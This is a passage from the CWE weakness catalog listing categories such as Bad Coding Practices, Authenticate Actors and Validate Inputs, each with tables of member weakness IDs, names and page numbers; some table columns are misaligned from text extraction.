HasMember	V	586	Explicit Call to Finalize()	888	1243
HasMember	V	589	Call to Non-ubiquitous API	888	1247
HasMember	B	617	Reachable Assertion	888	1297
HasMember	B	676	Use of Potentially Dangerous Function	888	1394
HasMember	C	684	Incorrect Provision of Specified Functionality	888	1410
HasMember	B	695	Use of Low-Level Functionality	888	1425
HasMember	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	888	1472

## Category-1002: SFP Secondary Cluster: Unexpected Entry Points

Category ID : 1002

### Summary

This category identifies Software Fault Patterns (SFPs) within the Unexpected Entry Points cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	897	SFP Primary Cluster: Entry Points	888	2178
HasMember	B	489	Active Debug Code	888	1106
HasMember	V	491	Public cloneable() Method Without Final ('Object Hijack')	888	1108
HasMember	V	493	Critical Public Variable Without Final Modifier	888	1117
HasMember	V	500	Public Static Field Not Marked Final	888	1133
HasMember	V	531	Inclusion of Sensitive Information in Test Code	888	1170
HasMember	V	568	finalize() Method Without super.finalize()	888	1215
HasMember	V	580	clone() Method Without super.clone()	888	1234
HasMember	V	582	Array Declared Public, Final, and Static	888	1237
HasMember	V	583	finalize() Method Declared Public	888	1238
HasMember	V	608	Struts: Non-private Field in ActionForm Class	888	1281
HasMember	V	766	Critical Data Element Declared Public	888	1495

## Category-1005: 7PK - Input Validation and Representation

Category ID : 1005

### Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that exist when an application does not properly validate or represent input. According to the authors of the Seven Pernicious Kingdoms, "Input validation and representation problems are caused by metacharacters, alternate encodings and numeric representations. Security problems result from trusting input."

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	700	Seven Pernicious Kingdoms	700	2317
HasMember	C	20	Improper Input Validation	700	19

Nature	Type	ID	Name	V	Page
HasMember		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	700	141
HasMember		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	700	159
HasMember		89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	700	195
HasMember		99	Improper Control of Resource Identifiers ('Resource Injection')	700	235

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## Category-1006: Bad Coding Practices

Category ID : 1006

### Summary

Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an exploitable vulnerability will be present in the application. These weaknesses do not directly introduce a vulnerability, but indicate that the product has not been carefully developed or maintained. If a program is complex, difficult to maintain, not portable, or shows evidence of neglect, then there is a higher likelihood that weaknesses are buried in the code.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf		699	Software Development	699	2315
HasMember		478	Missing Default Case in Multiple Condition Expression	699	1079
HasMember		487	Reliance on Package-level Scope	699	1102
HasMember		489	Active Debug Code	699	1106
HasMember		546	Suspicious Comment	699	1186
HasMember		547	Use of Hard-coded, Security-relevant Constants	699	1187
HasMember		561	Dead Code	699	1201
HasMember		562	Return of Stack Variable Address	699	1204
HasMember		563	Assignment to Variable without Use	699	1206
HasMember		581	Object Model Violation: Just One of Equals and Hashcode Defined	699	1236
HasMember		586	Explicit Call to Finalize()	699	1243
HasMember		605	Multiple Binds to the Same Port	699	1277
HasMember		621	Variable Extraction Error	699	1303
HasMember		627	Dynamic Variable Evaluation	699	1314
HasMember		628	Function Call with Incorrectly Specified Arguments	699	1316
HasMember		694	Use of Multiple Resources with Duplicate Identifier	699	1424
HasMember		1041	Use of Redundant Code	699	1740
HasMember		1043	Data Element Aggregating an Excessively Large Number of Non-Primitive Elements	699	1743



Nature	Type	ID	Name	V	Page
HasMember	B	1044	Architecture with Number of Horizontal Layers Outside of Expected Range	699	1744
HasMember	V	1045	Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor	699	1745
HasMember	B	1046	Creation of Immutable Text Using String Concatenation	699	1746
HasMember	B	1048	Invokable Control Element with Large Number of Outward Calls	699	1748
HasMember	B	1049	Excessive Data Query Operations in a Large Data Table	699	1749
HasMember	B	1050	Excessive Platform Resource Consumption within a Loop	699	1750
HasMember	B	1063	Creation of Class Instance within a Static Code Block	699	1764
HasMember	B	1065	Runtime Resource Management Control Element in a Component Built to Run on Application Servers	699	1766
HasMember	B	1066	Missing Serialization Control Element	699	1767
HasMember	B	1067	Excessive Execution of Sequential Searches of Data Resource	699	1768
HasMember	B	1070	Serializable Data Element Containing non-Serializable Item Elements	699	1772
HasMember	B	1071	Empty Code Block	699	1773
HasMember	B	1072	Data Resource Access without Use of Connection Pooling	699	1773
HasMember	B	1073	Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses	699	1774
HasMember	B	1079	Parent Class without Virtual Destructor Method	699	1780
HasMember	B	1082	Class Instance Self Destruction Control Element	699	1782
HasMember	B	1084	Invokable Control Element with Excessive File or Data Access Operations	699	1784
HasMember	B	1085	Invokable Control Element with Excessive Volume of Commented-out Code	699	1785
HasMember	B	1087	Class with Virtual Method without a Virtual Destructor	699	1787
HasMember	B	1089	Large Data Table with Excessive Number of Indices	699	1789
HasMember	B	1091	Use of Object without Invoking Destructor Method	699	1792
HasMember	B	1092	Use of Same Invokable Control Element in Multiple Architectural Layers	699	1793
HasMember	B	1094	Excessive Index Range Scan for a Data Resource	699	1794
HasMember	B	1097	Persistent Storable Data Element without Associated Comparison Control Element	699	1797
HasMember	V	1098	Data Element containing Pointer Item without Proper Copy Control Element	699	1798
HasMember	B	1099	Inconsistent Naming Conventions for Identifiers	699	1799
HasMember	B	1101	Reliance on Runtime Component in Generated Code	699	1801
HasMember	B	1102	Reliance on Machine-Dependent Data Representation	699	1802
HasMember	B	1103	Use of Platform-Dependent Third Party Components	699	1803
HasMember	B	1104	Use of Unmaintained Third Party Components	699	1803
HasMember	B	1106	Insufficient Use of Symbolic Constants	699	1805
HasMember	B	1107	Insufficient Isolation of Symbolic Constant Definitions	699	1806
HasMember	B	1108	Excessive Reliance on Global Variables	699	1807
HasMember	B	1109	Use of Same Variable for Multiple Purposes	699	1808
HasMember	B	1113	Inappropriate Comment Style	699	1811
HasMember	B	1114	Inappropriate Whitespace Style	699	1811



Nature	Type	ID	Name	V	Page
HasMember	B	1115	Source Code Element without Standard Prologue		699 1812
HasMember	B	1116	Inaccurate Comments		699 1813
HasMember	B	1117	Callable with Insufficient Behavioral Summary		699 1814
HasMember	B	1126	Declaration of Variable with Unnecessarily Wide Scope		699 1822
HasMember	B	1127	Compilation with Insufficient Warnings or Errors		699 1823
HasMember	B	1235	Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations		699 1863

## Category-1009: Audit

Category ID : 1009

### Summary

Weaknesses in this category are related to the design and architecture of audit-based components of the system. Frequently these deal with logging user activities in order to identify attackers and modifications to the system. The weaknesses in this category could lead to a degradation of the quality of the audit capability if they are not addressed when designing or implementing a secure architecture.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts		1008 2337
HasMember	B	117	Improper Output Neutralization for Logs		1008 279
HasMember	B	223	Omission of Security-relevant Information		1008 533
HasMember	B	224	Obscured Security-relevant Information by Alternate Name		1008 535
HasMember	B	532	Insertion of Sensitive Information into Log File		1008 1171
HasMember	B	778	Insufficient Logging		1008 1525
HasMember	B	779	Logging of Excessive Data		1008 1529

### References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/cawe-paper.pdf> >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf> >.

## Category-1010: Authenticate Actors

Category ID : 1010

### Summary

Weaknesses in this category are related to the design and architecture of authentication components of the system. Frequently these deal with verifying the entity is indeed who it claims to be. The weaknesses in this category could lead to a degradation of the quality of authentication if they are not addressed when designing or implementing a secure architecture.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2337
HasMember	V	258	Empty Password in Configuration File	1008	589
HasMember	V	259	Use of Hard-coded Password	1008	591
HasMember	B	262	Not Using Password Aging	1008	600
HasMember	B	263	Password Aging with Long Expiration	1008	602
HasMember	C	287	Improper Authentication	1008	657
HasMember	B	288	Authentication Bypass Using an Alternate Path or Channel	1008	664
HasMember	B	289	Authentication Bypass by Alternate Name	1008	666
HasMember	B	290	Authentication Bypass by Spoofing	1008	668
HasMember	V	291	Reliance on IP Address for Authentication	1008	671
HasMember	V	293	Using Referer Field for Authentication	1008	673
HasMember	B	294	Authentication Bypass by Capture-replay	1008	675
HasMember	B	301	Reflection Attack in an Authentication Protocol	1008	695
HasMember	B	302	Authentication Bypass by Assumed-Immutable Data	1008	697
HasMember	B	303	Incorrect Implementation of Authentication Algorithm	1008	699
HasMember	B	304	Missing Critical Step in Authentication	1008	700
HasMember	B	305	Authentication Bypass by Primary Weakness	1008	702
HasMember	B	306	Missing Authentication for Critical Function	1008	703
HasMember	B	307	Improper Restriction of Excessive Authentication Attempts	1008	709
HasMember	B	308	Use of Single-factor Authentication	1008	713
HasMember	B	322	Key Exchange without Entity Authentication	1008	749
HasMember	B	521	Weak Password Requirements	1008	1154
HasMember	V	593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created	1008	1252
HasMember	B	603	Use of Client-Side Authentication	1008	1275
HasMember	B	620	Unverified Password Change	1008	1301
HasMember	B	640	Weak Password Recovery Mechanism for Forgotten Password	1008	1326
HasMember	B	798	Use of Hard-coded Credentials	1008	1573
HasMember	B	836	Use of Password Hash Instead of Password for Authentication	1008	1639
HasMember	B	916	Use of Password Hash With Insufficient Computational Effort	1008	1688

## References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/cawe-paper.pdf> >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf> >.

## Category-1011: Authorize Actors

Category ID : 1011

## Summary

Weaknesses in this category are related to the design and architecture of a system's authorization components. Frequently these deal with enforcing that agents have the required permissions before performing certain operations, such as modifying data. The weaknesses in this category could lead to a degradation of quality of the authorization capability if they are not addressed when designing or implementing a secure architecture.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2337
HasMember	B	15	External Control of System or Configuration Setting	1008	17
HasMember	C	114	Process Control	1008	268
HasMember	V	219	Storage of File with Sensitive Data Under Web Root	1008	529
HasMember	V	220	Storage of File With Sensitive Data Under FTP Root	1008	530
HasMember	B	266	Incorrect Privilege Assignment	1008	605
HasMember	B	267	Privilege Defined With Unsafe Actions	1008	608
HasMember	B	268	Privilege Chaining	1008	611
HasMember	C	269	Improper Privilege Management	1008	613
HasMember	B	270	Privilege Context Switching Error	1008	618
HasMember	C	271	Privilege Dropping / Lowering Errors	1008	620
HasMember	B	272	Least Privilege Violation	1008	623
HasMember	B	273	Improper Check for Dropped Privileges	1008	626
HasMember	B	274	Improper Handling of Insufficient Privileges	1008	629
HasMember	B	276	Incorrect Default Permissions	1008	630
HasMember	V	277	Insecure Inherited Permissions	1008	634
HasMember	V	279	Incorrect Execution-Assigned Permissions	1008	636
HasMember	B	280	Improper Handling of Insufficient Permissions or Privileges	1008	638
HasMember	B	281	Improper Preservation of Permissions	1008	640
HasMember	C	282	Improper Ownership Management	1008	641
HasMember	B	283	Unverified Ownership	1008	643
HasMember	PI	284	Improper Access Control	1008	644
HasMember	C	285	Improper Authorization	1008	649
HasMember	C	286	Incorrect User Management	1008	656
HasMember	C	300	Channel Accessible by Non-Endpoint	1008	692
HasMember	B	341	Predictable from Observable State	1008	799
HasMember	B	359	Exposure of Private Personal Information to an Unauthorized Actor	1008	836
HasMember	B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')	1008	925
HasMember	B	419	Unprotected Primary Channel	1008	962
HasMember	B	420	Unprotected Alternate Channel	1008	963
HasMember	B	425	Direct Request ('Forced Browsing')	1008	969
HasMember	B	426	Untrusted Search Path	1008	972
HasMember	B	434	Unrestricted Upload of File with Dangerous Type	1008	991
HasMember	V	527	Exposure of Version-Control Repository to an Unauthorized Control Sphere	1008	1167
HasMember	V	528	Exposure of Core Dump File to an Unauthorized Control Sphere	1008	1168
HasMember	V	529	Exposure of Access Control List Files to an Unauthorized Control Sphere	1008	1168

Nature	Type	ID	Name	V	Page
HasMember	V	530	Exposure of Backup File to an Unauthorized Control Sphere	1008	1169
HasMember	B	538	Insertion of Sensitive Information into Externally-Accessible File or Directory	1008	1178
HasMember	B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	1008	1192
HasMember	B	552	Files or Directories Accessible to External Parties	1008	1193
HasMember	V	566	Authorization Bypass Through User-Controlled SQL Primary Key	1008	1211
HasMember	B	639	Authorization Bypass Through User-Controlled Key	1008	1324
HasMember	G	642	External Control of Critical State Data	1008	1330
HasMember	V	647	Use of Non-Canonical URL Paths for Authorization Decisions	1008	1343
HasMember	B	653	Improper Isolation or Compartmentalization	1008	1353
HasMember	B	656	Reliance on Security Through Obscurity	1008	1359
HasMember	G	668	Exposure of Resource to Wrong Sphere	1008	1380
HasMember	G	669	Incorrect Resource Transfer Between Spheres	1008	1383
HasMember	G	671	Lack of Administrator Control over Security	1008	1385
HasMember	G	673	External Influence of Sphere Definition	1008	1390
HasMember	B	708	Incorrect Ownership Assignment	1008	1442
HasMember	G	732	Incorrect Permission Assignment for Critical Resource	1008	1445
HasMember	B	770	Allocation of Resources Without Limits or Throttling	1008	1502
HasMember	V	782	Exposed IOCTL with Insufficient Access Control	1008	1534
HasMember	V	827	Improper Control of Document Type Definition	1008	1616
HasMember	G	862	Missing Authorization	1008	1657
HasMember	G	863	Incorrect Authorization	1008	1664
HasMember	B	921	Storage of Sensitive Data in a Mechanism without Access Control	1008	1697
HasMember	G	923	Improper Restriction of Communication Channel to Intended Endpoints	1008	1700
HasMember	B	939	Improper Authorization in Handler for Custom URL Scheme	1008	1709
HasMember	V	942	Permissive Cross-domain Policy with Untrusted Domains	1008	1717

## References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/cawe-paper.pdf> >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf> >.

## Category-1012: Cross Cutting

Category ID : 1012

## Summary

Weaknesses in this category are related to the design and architecture of multiple security tactics and how they affect a system. For example, information exposure can impact the Limit Access and Limit Exposure security tactics. The weaknesses in this category could lead to a degradation of the quality of many capabilities if they are not addressed when designing or implementing a secure architecture.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2337
HasMember	B	208	Observable Timing Discrepancy	1008	508
HasMember	B	392	Missing Report of Error Condition	1008	901
HasMember	B	460	Improper Cleanup on Thrown Exception	1008	1041
HasMember	B	544	Missing Standardized Error Handling Mechanism	1008	1185
HasMember	G	602	Client-Side Enforcement of Server-Side Security	1008	1271
HasMember	P	703	Improper Check or Handling of Exceptional Conditions	1008	1433
HasMember	G	754	Improper Check for Unusual or Exceptional Conditions	1008	1460
HasMember	V	784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision	1008	1539
HasMember	B	807	Reliance on Untrusted Inputs in a Security Decision	1008	1595

### References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/cawe-paper.pdf> >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf> >.

## Category-1013: Encrypt Data

Category ID : 1013

### Summary

Weaknesses in this category are related to the design and architecture of data confidentiality in a system. Frequently these deal with the use of encryption libraries. The weaknesses in this category could lead to a degradation of the quality data encryption if they are not addressed when designing or implementing a secure architecture.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2337
HasMember	B	256	Plaintext Storage of a Password	1008	583
HasMember	B	257	Storing Passwords in a Recoverable Format	1008	586
HasMember	B	260	Password in Configuration File	1008	596
HasMember	B	261	Weak Encoding for Password	1008	598
HasMember	G	311	Missing Encryption of Sensitive Data	1008	718
HasMember	B	312	Cleartext Storage of Sensitive Information	1008	725
HasMember	V	313	Cleartext Storage in a File or on Disk	1008	731
HasMember	V	314	Cleartext Storage in the Registry	1008	733
HasMember	V	315	Cleartext Storage of Sensitive Information in a Cookie	1008	734

Nature	Type	ID	Name	V	Page
HasMember	V	316	Cleartext Storage of Sensitive Information in Memory	1008	736
HasMember	V	317	Cleartext Storage of Sensitive Information in GUI	1008	737
HasMember	V	318	Cleartext Storage of Sensitive Information in Executable	1008	739
HasMember	B	319	Cleartext Transmission of Sensitive Information	1008	740
HasMember	V	321	Use of Hard-coded Cryptographic Key	1008	745
HasMember	V	323	Reusing a Nonce, Key Pair in Encryption	1008	750
HasMember	B	324	Use of a Key Past its Expiration Date	1008	752
HasMember	B	325	Missing Cryptographic Step	1008	754
HasMember	C	326	Inadequate Encryption Strength	1008	756
HasMember	C	327	Use of a Broken or Risky Cryptographic Algorithm	1008	758
HasMember	B	328	Use of Weak Hash	1008	765
HasMember	C	330	Use of Insufficiently Random Values	1008	772
HasMember	B	331	Insufficient Entropy	1008	778
HasMember	V	332	Insufficient Entropy in PRNG	1008	781
HasMember	V	333	Improper Handling of Insufficient Entropy in TRNG	1008	783
HasMember	B	334	Small Space of Random Values	1008	784
HasMember	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	1008	786
HasMember	V	336	Same Seed in Pseudo-Random Number Generator (PRNG)	1008	789
HasMember	V	337	Predictable Seed in Pseudo-Random Number Generator (PRNG)	1008	791
HasMember	B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	1008	793
HasMember	V	339	Small Seed Space in PRNG	1008	796
HasMember	B	347	Improper Verification of Cryptographic Signature	1008	811
HasMember	C	522	Insufficiently Protected Credentials	1008	1157
HasMember	B	523	Unprotected Transport of Credentials	1008	1161
HasMember	B	757	Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')	1008	1471
HasMember	V	759	Use of a One-Way Hash without a Salt	1008	1474
HasMember	V	760	Use of a One-Way Hash with a Predictable Salt	1008	1479
HasMember	V	780	Use of RSA Algorithm without OAEP	1008	1531
HasMember	C	922	Insecure Storage of Sensitive Information	1008	1698

## References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/cawe-paper.pdf> >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf> >.

## Category-1014: Identify Actors

Category ID : 1014

### Summary



Weaknesses in this category are related to the design and architecture of a system's identification management components. Frequently these deal with verifying that external agents provide inputs into the system. The weaknesses in this category could lead to a degradation of the quality of identification management if they are not addressed when designing or implementing a secure architecture.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2337
HasMember	B	295	Improper Certificate Validation	1008	677
HasMember	B	296	Improper Following of a Certificate's Chain of Trust	1008	682
HasMember	V	297	Improper Validation of Certificate with Host Mismatch	1008	684
HasMember	V	298	Improper Validation of Certificate Expiration	1008	688
HasMember	B	299	Improper Check for Certificate Revocation	1008	690
HasMember	G	345	Insufficient Verification of Data Authenticity	1008	805
HasMember	G	346	Origin Validation Error	1008	808
HasMember	V	370	Missing Check for Certificate Revocation after Initial Check	1008	868
HasMember	G	441	Unintended Proxy or Intermediary ('Confused Deputy')	1008	1005
HasMember	V	599	Missing Validation of OpenSSL Certificate	1008	1263
HasMember	B	940	Improper Verification of Source of a Communication Channel	1008	1712
HasMember	B	941	Incorrectly Specified Destination in a Communication Channel	1008	1715

### References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/cawe-paper.pdf> >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf> >.

## Category-1015: Limit Access

Category ID : 1015

### Summary

Weaknesses in this category are related to the design and architecture of system resources. Frequently these deal with restricting the amount of resources that are accessed by actors, such as memory, network connections, CPU or access points. The weaknesses in this category could lead to a degradation of the quality of authentication if they are not addressed when designing or implementing a secure architecture.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2337
HasMember	B	73	External Control of File Name or Path	1008	128
HasMember	B	201	Insertion of Sensitive Information Into Sent Data	1008	493
HasMember	B	209	Generation of Error Message Containing Sensitive Information	1008	510



Nature	Type	ID	Name	V	Page
HasMember	B	212	Improper Removal of Sensitive Information Before Storage or Transfer		520
HasMember	V	243	Creation of chroot Jail Without Changing Working Directory		559
HasMember	B	250	Execution with Unnecessary Privileges		568
HasMember	G	610	Externally Controlled Reference to a Resource in Another Sphere		1285
HasMember	B	611	Improper Restriction of XML External Entity Reference		1286

## References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/cawe-paper.pdf> >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf> >.

## Category-1016: Limit Exposure

Category ID : 1016

### Summary

Weaknesses in this category are related to the design and architecture of the entry points to a system. Frequently these deal with minimizing the attack surface through designing the system with the least needed amount of entry points. The weaknesses in this category could lead to a degradation of a system's defenses if they are not addressed when designing or implementing a secure architecture.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts		2337
HasMember	B	210	Self-generated Error Message Containing Sensitive Information		516
HasMember	B	211	Externally-Generated Error Message Containing Sensitive Information		518
HasMember	B	214	Invocation of Process Using Visible Sensitive Information		525
HasMember	V	550	Server-generated Error Message Containing Sensitive Information		1191
HasMember	B	829	Inclusion of Functionality from Untrusted Control Sphere		1621
HasMember	V	830	Inclusion of Web Functionality from an Untrusted Source		1627

## References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/cawe-paper.pdf> >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of

Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf> >.

## Category-1017: Lock Computer

Category ID : 1017

### Summary

Weaknesses in this category are related to the design and architecture of a system's lockout mechanism. Frequently these deal with scenarios that take effect in case of multiple failed attempts to access a given resource. The weaknesses in this category could lead to a degradation of access to system assets if they are not addressed when designing or implementing a secure architecture.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2337
HasMember	B	645	Overly Restrictive Account Lockout Mechanism	1008	1340

### References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/cawe-paper.pdf> >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf> >.

## Category-1018: Manage User Sessions

Category ID : 1018

### Summary

Weaknesses in this category are related to the design and architecture of session management. Frequently these deal with the information or status about each user and their access rights for the duration of multiple requests. The weaknesses in this category could lead to a degradation of the quality of session management if they are not addressed when designing or implementing a secure architecture.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2337
HasMember	V	6	J2EE Misconfiguration: Insufficient Session-ID Length	1008	2
HasMember	3	384	Session Fixation	1008	887
HasMember	B	488	Exposure of Data Element to Wrong Session	1008	1104
HasMember	V	579	J2EE Bad Practices: Non-serializable Object Stored in Session	1008	1233
HasMember	B	613	Insufficient Session Expiration	1008	1291
HasMember	B	841	Improper Enforcement of Behavioral Workflow	1008	1649

### References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/cawe-paper.pdf> >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf> >.

## Category-1019: Validate Inputs

Category ID : 1019

### Summary

Weaknesses in this category are related to the design and architecture of a system's input validation components. Frequently these deal with sanitizing, neutralizing and validating any externally provided inputs to minimize malformed data from entering the system and preventing code injection in the input data. The weaknesses in this category could lead to a degradation of the quality of data flow in a system if they are not addressed when designing or implementing a secure architecture.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2337
HasMember	G	20	Improper Input Validation	1008	19
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	1008	108
HasMember	G	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	1008	133
HasMember	G	75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)	1008	138
HasMember	B	76	Improper Neutralization of Equivalent Special Elements	1008	139
HasMember	G	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	1008	141
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	1008	147
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	1008	159
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	1008	188
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	1008	195
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	1008	207
HasMember	B	91	XML Injection (aka Blind XPath Injection)	1008	209
HasMember	B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	1008	211
HasMember	B	94	Improper Control of Generation of Code ('Code Injection')	1008	213
HasMember	V	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	1008	220
HasMember	B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	1008	225

Nature	Type	ID	Name	V	Page
HasMember	V	97	Improper Neutralization of Server-Side Includes (SSI) Within a Web Page	1008	228
HasMember	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	1008	229
HasMember	G	99	Improper Control of Resource Identifiers ('Resource Injection')	1008	235
HasMember	G	138	Improper Neutralization of Special Elements	1008	357
HasMember	V	150	Improper Neutralization of Escape, Meta, or Control Sequences	1008	377
HasMember	B	349	Acceptance of Extraneous Untrusted Data With Trusted Data	1008	815
